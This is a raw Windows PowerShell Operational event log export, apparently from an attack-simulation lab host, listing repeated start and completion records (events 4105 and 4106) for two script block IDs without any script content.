Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051785
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051783
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051782
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051781
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051779
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051778
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051777
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051775
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051774
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051773
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051771
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051770
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051769
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051767
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051766
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051765
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051763
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051762
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051761
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051759
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051758
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051757
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051755
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051754
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051753
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051752
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051751
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051750
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051749
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051747
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051746
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051745
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051743
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051742
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051741
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051739
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051738
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051737
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051735
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051734
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051733
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
